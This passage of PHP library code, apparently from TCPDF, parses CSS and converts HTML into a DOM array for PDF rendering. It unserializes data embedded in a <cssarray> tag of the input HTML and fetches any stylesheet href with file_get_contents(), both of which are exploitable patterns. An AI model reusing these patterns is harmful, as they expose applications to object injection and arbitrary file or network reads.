(isset($matches[1])) { $css = strtolower($matches[1]); } else { $css = ''; } // include default css $css = '<style>'.$default_css.$css.'</style>'; // get the body part $tidy_body = tidy_get_body($tidy); $html = $tidy_body->value; // fix some self-closing tags $html = str_replace('<br>', '<br />', $html); // remove some empty tag blocks $html = preg_replace('/<div([^\>]*)><\/div>/', '', $html); $html = preg_replace('/<p([^\>]*)><\/p>/', '', $html); if ($tagvs !== '') { // set vertical space for some XHTML tags $this->setHtmlVSpace($tagvs); } // return the cleaned XHTML code + CSS return $css.$html; } /** * Extracts the CSS properties from a CSS string. * @param $cssdata (string) string containing CSS definitions. * @return An array where the keys are the CSS selectors and the values are the CSS properties. * @author Nicola Asuni * @since 5.1.000 (2010-05-25) * @protected */ protected function extractCSSproperties($cssdata) { if (empty($cssdata)) { return array(); } // remove comments $cssdata = preg_replace('/\/\*[^\*]*\*\//', '', $cssdata); // remove newlines and multiple spaces $cssdata = preg_replace('/[\s]+/', ' ', $cssdata); // remove some spaces $cssdata = preg_replace('/[\s]*([;:\{\}]{1})[\s]*/', '\\1', $cssdata); // remove empty blocks $cssdata = preg_replace('/([^\}\{]+)\{\}/', '', $cssdata); // replace media type parenthesis $cssdata = preg_replace('/@media[\s]+([^\{]*)\{/i', '@media \\1�', $cssdata); $cssdata = preg_replace('/\}\}/si', '}�', $cssdata); // trim string $cssdata = trim($cssdata); // find media blocks (all, braille, embossed, handheld, print, projection, screen, speech, tty, tv) $cssblocks = array(); $matches = array(); if (preg_match_all('/@media[\s]+([^\�]*)�([^�]*)�/i', $cssdata, $matches) > 0) { foreach ($matches[1] as $key => $type) { $cssblocks[$type] = $matches[2][$key]; } // remove media blocks $cssdata = preg_replace('/@media[\s]+([^\�]*)�([^�]*)�/i', '', $cssdata); } // keep 'all' and 'print' media, other media types are discarded if (isset($cssblocks['all']) AND !empty($cssblocks['all'])) { $cssdata .= $cssblocks['all']; } if (isset($cssblocks['print']) AND !empty($cssblocks['print'])) { $cssdata .= $cssblocks['print']; } // reset css blocks array $cssblocks = array(); $matches = array(); // explode css data string into array if (substr($cssdata, -1) == '}') { // remove last parethesis $cssdata = substr($cssdata, 0, -1); } $matches = explode('}', $cssdata); foreach ($matches as $key => $block) { // index 0 contains the CSS selector, index 1 contains CSS properties $cssblocks[$key] = explode('{', $block); if (!isset($cssblocks[$key][1])) { // remove empty definitions unset($cssblocks[$key]); } } // split groups of selectors (comma-separated list of selectors) foreach ($cssblocks as $key => $block) { if (strpos($block[0], ',') > 0) { $selectors = explode(',', $block[0]); foreach ($selectors as $sel) { $cssblocks[] = array(0 => trim($sel), 1 => $block[1]); } unset($cssblocks[$key]); } } // covert array to selector => properties $cssdata = array(); foreach ($cssblocks as $block) { $selector = $block[0]; // calculate selector's specificity $matches = array(); $a = 0; // the declaration is not from is a 'style' attribute $b = intval(preg_match_all('/[\#]/', $selector, $matches)); // number of ID attributes $c = intval(preg_match_all('/[\[\.]/', $selector, $matches)); // number of other attributes $c += intval(preg_match_all('/[\:]link|visited|hover|active|focus|target|lang|enabled|disabled|checked|indeterminate|root|nth|first|last|only|empty|contains|not/i', $selector, $matches)); // number of pseudo-classes $d = intval(preg_match_all('/[\>\+\~\s]{1}[a-zA-Z0-9]+/', ' '.$selector, $matches)); // number of element names $d += intval(preg_match_all('/[\:][\:]/', $selector, $matches)); // number of pseudo-elements $specificity = $a.$b.$c.$d; // add specificity to the beginning of the selector $cssdata[$specificity.' '.$selector] = $block[1]; } // sort selectors alphabetically to account for specificity ksort($cssdata, SORT_STRING); // return array return $cssdata; } /** * Returns true if the CSS selector is valid for the selected HTML tag * @param $dom (array) array of HTML tags and properties * @param $key (int) key of the current HTML tag * @param $selector (string) CSS selector string * @return true if the selector is valid, false otherwise * @protected * @since 5.1.000 (2010-05-25) */ protected function isValidCSSSelectorForTag($dom, $key, $selector) { $valid = false; // value to be returned $tag = $dom[$key]['value']; $class = array(); if (isset($dom[$key]['attribute']['class']) AND !empty($dom[$key]['attribute']['class'])) { $class = explode(' ', strtolower($dom[$key]['attribute']['class'])); } $id = ''; if (isset($dom[$key]['attribute']['id']) AND !empty($dom[$key]['attribute']['id'])) { $id = strtolower($dom[$key]['attribute']['id']); } $selector = preg_replace('/([\>\+\~\s]{1})([\.]{1})([^\>\+\~\s]*)/si', '\\1*.\\3', $selector); $matches = array(); if (preg_match_all('/([\>\+\~\s]{1})([a-zA-Z0-9\*]+)([^\>\+\~\s]*)/si', $selector, $matches, PREG_PATTERN_ORDER | PREG_OFFSET_CAPTURE) > 0) { $parentop = array_pop($matches[1]); $operator = $parentop[0]; $offset = $parentop[1]; $lasttag = array_pop($matches[2]); $lasttag = strtolower(trim($lasttag[0])); if (($lasttag == '*') OR ($lasttag == $tag)) { // the last element on selector is our tag or 'any tag' $attrib = array_pop($matches[3]); $attrib = strtolower(trim($attrib[0])); if (!empty($attrib)) { // check if matches class, id, attribute, pseudo-class or pseudo-element switch ($attrib{0}) { case '.': { // class if (in_array(substr($attrib, 1), $class)) { $valid = true; } break; } case '#': { // ID if (substr($attrib, 1) == $id) { $valid = true; } break; } case '[': { // attribute $attrmatch = array(); if (preg_match('/\[([a-zA-Z0-9]*)[\s]*([\~\^\$\*\|\=]*)[\s]*["]?([^"\]]*)["]?\]/i', $attrib, $attrmatch) > 0) { $att = strtolower($attrmatch[1]); $val = $attrmatch[3]; if (isset($dom[$key]['attribute'][$att])) { switch ($attrmatch[2]) { case '=': { if ($dom[$key]['attribute'][$att] == $val) { $valid = true; } break; } case '~=': { if (in_array($val, explode(' ', $dom[$key]['attribute'][$att]))) { $valid = true; } break; } case '^=': { if ($val == substr($dom[$key]['attribute'][$att], 0, strlen($val))) { $valid = true; } break; } case '$=': { if ($val == substr($dom[$key]['attribute'][$att], -strlen($val))) { $valid = true; } break; } case '*=': { if (strpos($dom[$key]['attribute'][$att], $val) !== false) { $valid = true; } break; } case '|=': { if ($dom[$key]['attribute'][$att] == $val) { $valid = true; } elseif (preg_match('/'.$val.'[\-]{1}/i', $dom[$key]['attribute'][$att]) > 0) { $valid = true; } break; } default: { $valid = true; } } } } break; } case ':': { // pseudo-class or pseudo-element if ($attrib{1} == ':') { // pseudo-element // pseudo-elements are not supported! // (::first-line, ::first-letter, ::before, ::after) } else { // pseudo-class // pseudo-classes are not supported! // (:root, :nth-child(n), :nth-last-child(n), :nth-of-type(n), :nth-last-of-type(n), :first-child, :last-child, :first-of-type, :last-of-type, :only-child, :only-of-type, :empty, :link, :visited, :active, :hover, :focus, :target, :lang(fr), :enabled, :disabled, :checked) } break; } } // end of switch } else { $valid = true; } if ($valid AND ($offset > 0)) { $valid = false; // check remaining selector part $selector = substr($selector, 0, $offset); switch ($operator) { case ' ': { // descendant of an element while ($dom[$key]['parent'] > 0) { if ($this->isValidCSSSelectorForTag($dom, $dom[$key]['parent'], $selector)) { $valid = true; break; } else { $key = $dom[$key]['parent']; } } break; } case '>': { // child of an element $valid = $this->isValidCSSSelectorForTag($dom, $dom[$key]['parent'], $selector); break; } case '+': { // immediately preceded by an element for ($i = ($key - 1); $i > $dom[$key]['parent']; --$i) { if ($dom[$i]['tag'] AND $dom[$i]['opening']) { $valid = $this->isValidCSSSelectorForTag($dom, $i, $selector); break; } } break; } case '~': { // preceded by an element for ($i = ($key - 1); $i > $dom[$key]['parent']; --$i) { if ($dom[$i]['tag'] AND $dom[$i]['opening']) { if ($this->isValidCSSSelectorForTag($dom, $i, $selector)) { break; } } } break; } } } } } return $valid; } /** * Returns the styles array that apply for the selected HTML tag. * @param $dom (array) array of HTML tags and properties * @param $key (int) key of the current HTML tag * @param $css (array) array of CSS properties * @return array containing CSS properties * @protected * @since 5.1.000 (2010-05-25) */ protected function getCSSdataArray($dom, $key, $css) { $cssarray = array(); // style to be returned // get parent CSS selectors $selectors = array(); if (isset($dom[($dom[$key]['parent'])]['csssel'])) { $selectors = $dom[($dom[$key]['parent'])]['csssel']; } // get all styles that apply foreach($css as $selector => $style) { $pos = strpos($selector, ' '); // get specificity $specificity = substr($selector, 0, $pos); // remove specificity $selector = substr($selector, $pos); // check if this selector apply to current tag if ($this->isValidCSSSelectorForTag($dom, $key, $selector)) { if (!in_array($selector, $selectors)) { // add style if not already added on parent selector $cssarray[] = array('k' => $selector, 's' => $specificity, 'c' => $style); $selectors[] = $selector; } } } if (isset($dom[$key]['attribute']['style'])) { // attach inline style (latest properties have high priority) $cssarray[] = array('k' => '', 's' => '1000', 'c' => $dom[$key]['attribute']['style']); } // order the css array to account for specificity $cssordered = array(); foreach ($cssarray as $key => $val) { $skey = sprintf('%04d', $key); $cssordered[$val['s'].'_'.$skey] = $val; } // sort selectors alphabetically to account for specificity ksort($cssordered, SORT_STRING); return array($selectors, $cssordered); } /** * Compact CSS data array into single string. * @param $css (array) array of CSS properties * @return string containing merged CSS properties * @protected * @since 5.9.070 (2011-04-19) */ protected function getTagStyleFromCSSarray($css) { $tagstyle = ''; // value to be returned foreach ($css as $style) { // split single css commands $csscmds = explode(';', $style['c']); foreach ($csscmds as $cmd) { if (!empty($cmd)) { $pos = strpos($cmd, ':'); if ($pos !== false) { $cmd = substr($cmd, 0, ($pos + 1)); if (strpos($tagstyle, $cmd) !== false) { // remove duplicate commands (last commands have high priority) $tagstyle = preg_replace('/'.$cmd.'[^;]+/i', '', $tagstyle); } } } } $tagstyle .= ';'.$style['c']; } // remove multiple semicolons $tagstyle = preg_replace('/[;]+/', ';', $tagstyle); return $tagstyle; } /** * Returns the border width from CSS property * @param $width (string) border width * @return int with in user units * @protected * @since 5.7.000 (2010-08-02) */ protected function getCSSBorderWidth($width) { if ($width == 'thin') { $width = (2 / $this->k); } elseif ($width == 'medium') { $width = (4 / $this->k); } elseif ($width == 'thick') { $width = (6 / $this->k); } else { $width = $this->getHTMLUnitToUnits($width, 1, 'px', false); } return $width; } /** * Returns the border dash style from CSS property * @param $style (string) border style to convert * @return int sash style (return -1 in case of none or hidden border) * @protected * @since 5.7.000 (2010-08-02) */ protected function getCSSBorderDashStyle($style) { switch (strtolower($style)) { case 'none': case 'hidden': { $dash = -1; break; } case 'dotted': { $dash = 1; break; } case 'dashed': { $dash = 3; break; } case 'double': case 'groove': case 'ridge': case 'inset': case 'outset': case 'solid': default: { $dash = 0; break; } } return $dash; } /** * Returns the border style array from CSS border properties * @param $cssborder (string) border properties * @return array containing border properties * @protected * @since 5.7.000 (2010-08-02) */ protected function getCSSBorderStyle($cssborder) { $bprop = preg_split('/[\s]+/', trim($cssborder)); $border = array(); // value to be returned switch (count($bprop)) { case 3: { $width = $bprop[0]; $style = $bprop[1]; $color = $bprop[2]; break; } case 2: { $width = 'medium'; $style = $bprop[0]; $color = $bprop[1]; break; } case 1: { $width = 'medium'; $style = $bprop[0]; $color = 'black'; break; } default: { $width = 'medium'; $style = 'solid'; $color = 'black'; break; } } if ($style == 'none') { return array(); } $border['cap'] = 'square'; $border['join'] = 'miter'; $border['dash'] = $this->getCSSBorderDashStyle($style); if ($border['dash'] < 0) { return array(); } $border['width'] = $this->getCSSBorderWidth($width); $border['color'] = $this->convertHTMLColorToDec($color); return $border; } /** * Get the internal Cell padding from CSS attribute. * @param $csspadding (string) padding properties * @param $width (float) width of the containing element * @return array of cell paddings * @public * @since 5.9.000 (2010-10-04) */ public function getCSSPadding($csspadding, $width=0) { $padding = preg_split('/[\s]+/', trim($csspadding)); $cell_padding = array(); // value to be returned switch (count($padding)) { case 4: { $cell_padding['T'] = $padding[0]; $cell_padding['R'] = $padding[1]; $cell_padding['B'] = $padding[2]; $cell_padding['L'] = $padding[3]; break; } case 3: { $cell_padding['T'] = $padding[0]; $cell_padding['R'] = $padding[1]; $cell_padding['B'] = $padding[2]; $cell_padding['L'] = $padding[1]; break; } case 2: { $cell_padding['T'] = $padding[0]; $cell_padding['R'] = $padding[1]; $cell_padding['B'] = $padding[0]; $cell_padding['L'] = $padding[1]; break; } case 1: { $cell_padding['T'] = $padding[0]; $cell_padding['R'] = $padding[0]; $cell_padding['B'] = $padding[0]; $cell_padding['L'] = $padding[0]; break; } default: { return $this->cell_padding; } } if ($width == 0) { $width = $this->w - $this->lMargin - $this->rMargin; } $cell_padding['T'] = $this->getHTMLUnitToUnits($cell_padding['T'], $width, 'px', false); $cell_padding['R'] = $this->getHTMLUnitToUnits($cell_padding['R'], $width, 'px', false); $cell_padding['B'] = $this->getHTMLUnitToUnits($cell_padding['B'], $width, 'px', false); $cell_padding['L'] = $this->getHTMLUnitToUnits($cell_padding['L'], $width, 'px', false); return $cell_padding; } /** * Get the internal Cell margin from CSS attribute. * @param $cssmargin (string) margin properties * @param $width (float) width of the containing element * @return array of cell margins * @public * @since 5.9.000 (2010-10-04) */ public function getCSSMargin($cssmargin, $width=0) { $margin = preg_split('/[\s]+/', trim($cssmargin)); $cell_margin = array(); // value to be returned switch (count($margin)) { case 4: { $cell_margin['T'] = $margin[0]; $cell_margin['R'] = $margin[1]; $cell_margin['B'] = $margin[2]; $cell_margin['L'] = $margin[3]; break; } case 3: { $cell_margin['T'] = $margin[0]; $cell_margin['R'] = $margin[1]; $cell_margin['B'] = $margin[2]; $cell_margin['L'] = $margin[1]; break; } case 2: { $cell_margin['T'] = $margin[0]; $cell_margin['R'] = $margin[1]; $cell_margin['B'] = $margin[0]; $cell_margin['L'] = $margin[1]; break; } case 1: { $cell_margin['T'] = $margin[0]; $cell_margin['R'] = $margin[0]; $cell_margin['B'] = $margin[0]; $cell_margin['L'] = $margin[0]; break; } default: { return $this->cell_margin; } } if ($width == 0) { $width = $this->w - $this->lMargin - $this->rMargin; } $cell_margin['T'] = $this->getHTMLUnitToUnits(str_replace('auto', '0', $cell_margin['T']), $width, 'px', false); $cell_margin['R'] = $this->getHTMLUnitToUnits(str_replace('auto', '0', $cell_margin['R']), $width, 'px', false); $cell_margin['B'] = $this->getHTMLUnitToUnits(str_replace('auto', '0', $cell_margin['B']), $width, 'px', false); $cell_margin['L'] = $this->getHTMLUnitToUnits(str_replace('auto', '0', $cell_margin['L']), $width, 'px', false); return $cell_margin; } /** * Get the border-spacing from CSS attribute. * @param $cssbspace (string) border-spacing CSS properties * @param $width (float) width of the containing element * @return array of border spacings * @public * @since 5.9.010 (2010-10-27) */ public function getCSSBorderMargin($cssbspace, $width=0) { $space = preg_split('/[\s]+/', trim($cssbspace)); $border_spacing = array(); // value to be returned switch (count($space)) { case 2: { $border_spacing['H'] = $space[0]; $border_spacing['V'] = $space[1]; break; } case 1: { $border_spacing['H'] = $space[0]; $border_spacing['V'] = $space[0]; break; } default: { return array('H' => 0, 'V' => 0); } } if ($width == 0) { $width = $this->w - $this->lMargin - $this->rMargin; } $border_spacing['H'] = $this->getHTMLUnitToUnits($border_spacing['H'], $width, 'px', false); $border_spacing['V'] = $this->getHTMLUnitToUnits($border_spacing['V'], $width, 'px', false); return $border_spacing; } /** * Returns the letter-spacing value from CSS value * @param $spacing (string) letter-spacing value * @param $parent (float) font spacing (tracking) value of the parent element * @return float quantity to increases or decreases the space between characters in a text. * @protected * @since 5.9.000 (2010-10-02) */ protected function getCSSFontSpacing($spacing, $parent=0) { $val = 0; // value to be returned $spacing = trim($spacing); switch ($spacing) { case 'normal': { $val = 0; break; } case 'inherit': { if ($parent == 'normal') { $val = 0; } else { $val = $parent; } break; } default: { $val = $this->getHTMLUnitToUnits($spacing, 0, 'px', false); } } return $val; } /** * Returns the percentage of font stretching from CSS value * @param $stretch (string) stretch mode * @param $parent (float) stretch value of the parent element * @return float font stretching percentage * @protected * @since 5.9.000 (2010-10-02) */ protected function getCSSFontStretching($stretch, $parent=100) { $val = 100; // value to be returned $stretch = trim($stretch); switch ($stretch) { case 'ultra-condensed': { $val = 40; break; } case 'extra-condensed': { $val = 55; break; } case 'condensed': { $val = 70; break; } case 'semi-condensed': { $val = 85; break; } case 'normal': { $val = 100; break; } case 'semi-expanded': { $val = 115; break; } case 'expanded': { $val = 130; break; } case 'extra-expanded': { $val = 145; break; } case 'ultra-expanded': { $val = 160; break; } case 'wider': { $val = $parent + 10; break; } case 'narrower': { $val = $parent - 10; break; } case 'inherit': { if ($parent == 'normal') { $val = 100; } else { $val = $parent; } break; } default: { $val = $this->getHTMLUnitToUnits($stretch, 100, '%', false); } } return $val; } /** * Returns the HTML DOM array. * @param $html (string) html code * @return array * @protected * @since 3.2.000 (2008-06-20) */ protected function getHtmlDomArray($html) { // array of CSS styles ( selector => properties). $css = array(); // get CSS array defined at previous call $matches = array(); if (preg_match_all('/<cssarray>([^\<]*)<\/cssarray>/isU', $html, $matches) > 0) { if (isset($matches[1][0])) { $css = array_merge($css, unserialize($this->unhtmlentities($matches[1][0]))); } $html = preg_replace('/<cssarray>(.*?)<\/cssarray>/isU', '', $html); } // extract external CSS files $matches = array(); if (preg_match_all('/<link([^\>]*)>/isU', $html, $matches) > 0) { foreach ($matches[1] as $key => $link) { $type = array(); if (preg_match('/type[\s]*=[\s]*"text\/css"/', $link, $type)) { $type = array(); preg_match('/media[\s]*=[\s]*"([^"]*)"/', $link, $type); // get 'all' and 'print' media, other media types are discarded // (all, braille, embossed, handheld, print, projection, screen, speech, tty, tv) if (empty($type) OR (isset($type[1]) AND (($type[1] == 'all') OR ($type[1] == 'print')))) { $type = array(); if (preg_match('/href[\s]*=[\s]*"([^"]*)"/', $link, $type) > 0) { // read CSS data file $cssdata = file_get_contents(trim($type[1])); $css = array_merge($css, $this->extractCSSproperties($cssdata)); } } } } } // extract style tags $matches = array(); if (preg_match_all('/<style([^\>]*)>([^\<]*)<\/style>/isU', $html, $matches) > 0) { foreach ($matches[1] as $key => $media) { $type = array(); preg_match('/media[\s]*=[\s]*"([^"]*)"/', $media, $type); // get 'all' and 'print' media, other media types are discarded // (all, braille, embossed, handheld, print, projection, screen, speech, tty, tv) if (empty($type) OR (isset($type[1]) AND (($type[1] == 'all') OR ($type[1] == 'print')))) { $cssdata = $matches[2][$key]; $css = array_merge($css, $this->extractCSSproperties($cssdata)); } } } // create a special tag to contain the CSS array (used for table content) $csstagarray = '<cssarray>'.htmlentities(serialize($css)).'</cssarray>'; // remove head and style blocks $html = preg_replace('/<head([^\>]*)>(.*?)<\/head>/siU', '', $html); $html = preg_replace('/<style([^\>]*)>([^\<]*)<\/style>/isU', '', $html); // define block tags $blocktags = array('blockquote','br','dd','dl','div','dt','h1','h2','h3','h4','h5','h6','hr','li','ol','p','pre','ul','tcpdf','table','tr','td'); // define self-closing tags $selfclosingtags = array('area','base','basefont','br','hr','input','img','link','meta'); // remove all unsupported tags (the line below lists all supported tags) $html = strip_tags($html, '<marker/><a><b><blockquote><body><br><br/><dd><del><div><dl><dt><em><font><form><h1><h2><h3><h4><h5><h6><hr><hr/><i><img><input><label><li><ol><option><p><pre><s><select><small><span><strike><strong><sub><sup><table><tablehead><tcpdf><td><textarea><th><thead><tr><tt><u><ul>'); //replace some blank characters $html = preg_replace('/<pre/', '<xre', $html); // preserve pre tag $html = preg_replace('/<(table|tr|td|th|tcpdf|blockquote|dd|div|dl|dt|form|h1|h2|h3|h4|h5|h6|br|hr|li|ol|ul|p)([^\>]*)>[\n\r\t]+/', '<\\1\\2>', $html); $html = preg_replace('@(\r\n|\r)@', "\n", $html); $repTable = array("\t" => ' ', "\0" => ' ', "\x0B" => ' ', "\\" => "\\\\"); $html = strtr($html, $repTable); $offset = 0; while (($offset < strlen($html)) AND ($pos = strpos($html, '</pre>', $offset)) !== false) { $html_a = substr($html, 0, $offset); $html_b = substr($html, $offset, ($pos - $offset + 6)); while (preg_match("'<xre([^\>]*)>(.*?)\n(.*?)</pre>'si", $html_b)) { // preserve newlines on <pre> tag $html_b = preg_replace("'<xre([^\>]*)>(.*?)\n(.*?)</pre>'si", "<xre\\1>\\2<br />\\3</pre>", $html_b); } while (preg_match("'<xre([^\>]*)>(.*?)".$this->re_space['p']."(.*?)</pre>'".$this->re_space['m'], $html_b)) { // preserve spaces on <pre> tag $html_b = preg_replace("'<xre([^\>]*)>(.*?)".$this->re_space['p']."(.*?)</pre>'".$this->re_space['m'], "<xre\\1>\\2 \\3</pre>", $html_b); } $html = $html_a.$html_b.substr($html, $pos + 6); $offset = strlen($html_a.$html_b); } $offset = 0; while (($offset < strlen($html)) AND ($pos = strpos($html, '</textarea>', $offset)) !== false) { $html_a = substr($html, 0, $offset); $html_b = substr($html, $offset, ($pos - $offset + 11)); while (preg_match("'<textarea([^\>]*)>(.*?)\n(.*?)</textarea>'si", $html_b)) { // preserve newlines on <textarea> tag $html_b = preg_replace("'<textarea([^\>]*)>(.*?)\n(.*?)</textarea>'si", "<textarea\\1>\\2<TBR>\\3</textarea>", $html_b); $html_b = preg_replace("'<textarea([^\>]*)>(.*?)[\"](.*?)</textarea>'si", "<textarea\\1>\\2''\\3</textarea>", $html_b); } $html = $html_a.$html_b.substr($html, $pos + 11); $offset = strlen($html_a.$html_b); } $html = preg_replace('/([\s]*)<option/si', '<option', $html); $html = preg_replace('/<\/option>([\s]*)/si', '</option>', $html); $offset = 0; while (($offset < strlen($html)) AND ($pos = strpos($html, '</option>', $offset)) !== false) { $html_a = substr($html, 0, $offset); $html_b = substr($html, $offset, ($pos - $offset + 9)); while (preg_match("'<option([^\>]*)>(.*?)</option>'si", $html_b)) { $html_b = preg_replace("'<option([\s]+)value=\"([^\"]*)\"([^\>]*)>(.*?)</option>'si", "\\2#!TaB!#\\4#!NwL!#", $html_b); $html_b = preg_replace("'<option([^\>]*)>(.*?)</option>'si", "\\2#!NwL!#", $html_b); } $html = $html_a.$html_b.substr($html, $pos + 9); $offset = strlen($html_a.$html_b); } if (preg_match("'</select'si", $html)) { $html = preg_replace("'<select([^\>]*)>'si", "<select\\1 opt=\"", $html); $html = preg_replace("'#!NwL!#</select>'si", "\" />", $html); } $html = str_replace("\n", ' ', $html); // restore textarea newlines $html = str_replace('<TBR>', "\n", $html); // remove extra spaces from code $html = preg_replace('/[\s]+<\/(table|tr|ul|ol|dl)>/', '</\\1>', $html); $html = preg_replace('/'.$this->re_space['p'].'+<\/(td|th|li|dt|dd)>/'.$this->re_space['m'], '</\\1>', $html); $html = preg_replace('/[\s]+<(tr|td|th|li|dt|dd)/', '<\\1', $html); $html = preg_replace('/'.$this->re_space['p'].'+<(ul|ol|dl|br)/'.$this->re_space['m'], '<\\1', $html); $html = preg_replace('/<\/(table|tr|td|th|blockquote|dd|dt|dl|div|dt|h1|h2|h3|h4|h5|h6|hr|li|ol|ul|p)>[\s]+</', '</\\1><', $html); $html = preg_replace('/<\/(td|th)>/', '<marker style="font-size:0"/></\\1>', $html); $html = preg_replace('/<\/table>([\s]*)<marker style="font-size:0"\/>/', '</table>', $html); $html = preg_replace('/'.$this->re_space['p'].'+<img/'.$this->re_space['m'], chr(32).'<img', $html); $html = preg_replace('/<img([^\>]*)>[\s]+([^\<])/xi', '<img\\1> \\2', $html); $html = preg_replace('/<img([^\>]*)>/xi', '<img\\1><span><marker style="font-size:0"/></span>', $html); $html = preg_replace('/<xre/', '<pre', $html); // restore pre tag $html = preg_replace('/<textarea([^\>]*)>([^\<]*)<\/textarea>/xi', '<textarea\\1 value="\\2" />', $html); $html = preg_replace('/<li([^\>]*)><\/li>/', '<li\\1> </li>', $html); $html = preg_replace('/<li([^\>]*)>'.$this->re_space['p'].'*<img/'.$this->re_space['m'], '<li\\1><font size="1"> </font><img', $html); $html = preg_replace('/<([^\>\/]*)>[\s]/', '<\\1> ', $html); // preserve some spaces $html = preg_replace('/[\s]<\/([^\>]*)>/', ' </\\1>', $html); // preserve some spaces $html = preg_replace('/<su([bp])/', '<zws/><su\\1', $html); // fix sub/sup alignment $html = preg_replace('/<\/su([bp])>/', '</su\\1><zws/>', $html); // fix sub/sup alignment $html = preg_replace('/'.$this->re_space['p'].'+/'.$this->re_space['m'], chr(32), $html); // replace multiple spaces with a single space // trim string $html = $this->stringTrim($html); // fix first image tag alignment $html = preg_replace('/^<img/', '<span style="font-size:0"><br /></span> <img', $html, 1); // pattern for generic tag $tagpattern = '/(<[^>]+>)/'; // explodes the string $a = preg_split($tagpattern, $html, -1, PREG_SPLIT_DELIM_CAPTURE | PREG_SPLIT_NO_EMPTY); // count elements $maxel = count($a); $elkey = 0; $key = 0; // create an array of elements $dom = array(); $dom[$key] = array(); // set inheritable properties fot the first void element // possible inheritable properties are: azimuth, border-collapse, border-spacing, caption-side, color, cursor, direction, empty-cells, font, font-family, font-stretch, font-size, font-size-adjust, font-style, font-variant, font-weight, letter-spacing, line-height, list-style, list-style-image, list-style-position, list-style-type, orphans, page, page-break-inside, quotes, speak, speak-header, text-align, text-indent, text-transform, volume, white-space, widows, word-spacing $dom[$key]['tag'] = false; $dom[$key]['block'] = false; $dom[$key]['value'] = ''; $dom[$key]['parent'] = 0; $dom[$key]['hide'] = false; $dom[$key]['fontname'] = $this->FontFamily; $dom[$key]['fontstyle'] = $this->FontStyle; $dom[$key]['fontsize'] = $this->FontSizePt; $dom[$key]['font-stretch'] = $this->font_stretching; $dom[$key]['letter-spacing'] = $this->font_spacing; $dom[$key]['stroke'] = $this->textstrokewidth; $dom[$key]['fill'] = (($this->textrendermode % 2) == 0); $dom[$key]['clip'] = ($this->textrendermode > 3); $dom[$key]['line-height'] = $this->cell_height_ratio; $dom[$key]['bgcolor'] = false; $dom[$key]['fgcolor'] = $this->fgcolor; // color $dom[$key]['strokecolor'] = $this->strokecolor; $dom[$key]['align'] = ''; $dom[$key]['listtype'] = ''; $dom[$key]['text-indent'] = 0; $dom[$key]['border'] = array(); $dom[$key]['dir'] = $this->rtl?'rtl':'ltr'; $thead = false; // true when we are inside the THEAD tag ++$key; $level = array(); array_push($level, 0); // root while ($elkey < $maxel) { $dom[$key] = array(); $element = $a[$elkey]; $dom[$key]['elkey'] = $elkey; if (preg_match($tagpattern, $element)) { // html tag $element = substr($element, 1, -1); // get tag name preg_match('/[\/]?([a-zA-Z0-9]*)/', $element, $tag); $tagname = strtolower($tag[1]); // check if we are inside a table header if ($tagname == 'thead') { if ($element{0} == '/') { $thead = false; } else { $thead = true; } ++$elkey; continue; } $dom[$key]['tag'] = true; $dom[$key]['value'] = $tagname; if (in_array($dom[$key]['value'], $blocktags)) { $dom[$key]['block'] = true; } else { $dom[$key]['block'] = false; } if ($element{0} == '/') { // *** closing html tag $dom[$key]['opening'] = false; $dom[$key]['parent'] = end($level); array_pop($level); $dom[$key]['hide'] = $dom[($dom[($dom[$key]['parent'])]['parent'])]['hide']; $dom[$key]['fontname'] = $dom[($dom[($dom[$key]['parent'])]['parent'])]['fontname']; $dom[$key]['fontstyle'] = $dom[($dom[($dom[$key]['parent'])]['parent'])]['fontstyle']; $dom[$key]['fontsize'] = $dom[($dom[($dom[$key]['parent'])]['parent'])]['fontsize']; $dom[$key]['font-stretch'] = $dom[($dom[($dom[$key]['parent'])]['parent'])]['font-stretch']; $dom[$key]['letter-spacing'] = $dom[($dom[($dom[$key]['parent'])]['parent'])]['letter-spacing']; $dom[$key]['stroke'] = $dom[($dom[($dom[$key]['parent'])]['parent'])]['stroke']; $dom[$key]['fill'] = $dom[($dom[($dom[$key]['parent'])]['parent'])]['fill']; $dom[$key]['clip'] = $dom[($dom[($dom[$key]['parent'])]['parent'])]['clip']; $dom[$key]['line-height'] = $dom[($dom[($dom[$key]['parent'])]['parent'])]['line-height']; $dom[$key]['bgcolor'] = $dom[($dom[($dom[$key]['parent'])]['parent'])]['bgcolor']; $dom[$key]['fgcolor'] = $dom[($dom[($dom[$key]['parent'])]['parent'])]['fgcolor']; $dom[$key]['strokecolor'] = $dom[($dom[($dom[$key]['parent'])]['parent'])]['strokecolor']; $dom[$key]['align'] = $dom[($dom[($dom[$key]['parent'])]['parent'])]['align']; $dom[$key]['dir'] = $dom[($dom[($dom[$key]['parent'])]['parent'])]['dir']; if (isset($dom[($dom[($dom[$key]['parent'])]['parent'])]['listtype'])) { $dom[$key]['listtype'] = $dom[($dom[($dom[$key]['parent'])]['parent'])]['listtype']; } // set the number of columns in table tag if (($dom[$key]['value'] == 'tr') AND (!isset($dom[($dom[($dom[$key]['parent'])]['parent'])]['cols']))) { $dom[($dom[($dom[$key]['parent'])]['parent'])]['cols'] = $dom[($dom[$key]['parent'])]['cols']; } if (($dom[$key]['value'] == 'td') OR ($dom[$key]['value'] == 'th')) { $dom[($dom[$key]['parent'])]['content'] = $csstagarray; for ($i = ($dom[$key]['parent'] + 1); $i < $key; ++$i) { $dom[($dom[$key]['parent'])]['content'] .= $a[$dom[$i]['elkey']]; } $key = $i; // mark nested tables $dom[($dom[$key]['parent'])]['content'] = str_replace('<table', '<table nested="true"', $dom[($dom[$key]['parent'])]['content']); // remove thead sections from nested tables $dom[($dom[$key]['parent'])]['content'] = str_replace('<thead>', '', $dom[($dom[$key]['parent'])]['content']); $dom[($dom[$key]['parent'])]['content'] = str_replace('</thead>', '', $dom[($dom[$key]['parent'])]['content']); } // store header rows on a new table if (($dom[$key]['value'] == 'tr') AND ($dom[($dom[$key]['parent'])]['thead'] === true)) { if ($this->empty_string($dom[($dom[($dom[$key]['parent'])]['parent'])]['thead'])) { $dom[($dom[($dom[$key]['parent'])]['parent'])]['thead'] = $csstagarray.$a[$dom[($dom[($dom[$key]['parent'])]['parent'])]['elkey']]; } for ($i = $dom[$key]['parent']; $i <= $key; ++$i) { $dom[($dom[($dom[$key]['parent'])]['parent'])]['thead'] .= $a[$dom[$i]['elkey']]; } if (!isset($dom[($dom[$key]['parent'])]['attribute'])) { $dom[($dom[$key]['parent'])]['attribute'] = array(); } // header elements must be always contained in a single page $dom[($dom[$key]['parent'])]['attribute']['nobr'] = 'true'; } if (($dom[$key]['value'] == 'table') AND (!$this->empty_string($dom[($dom[$key]['parent'])]['thead']))) { // remove the nobr attributes from the table header 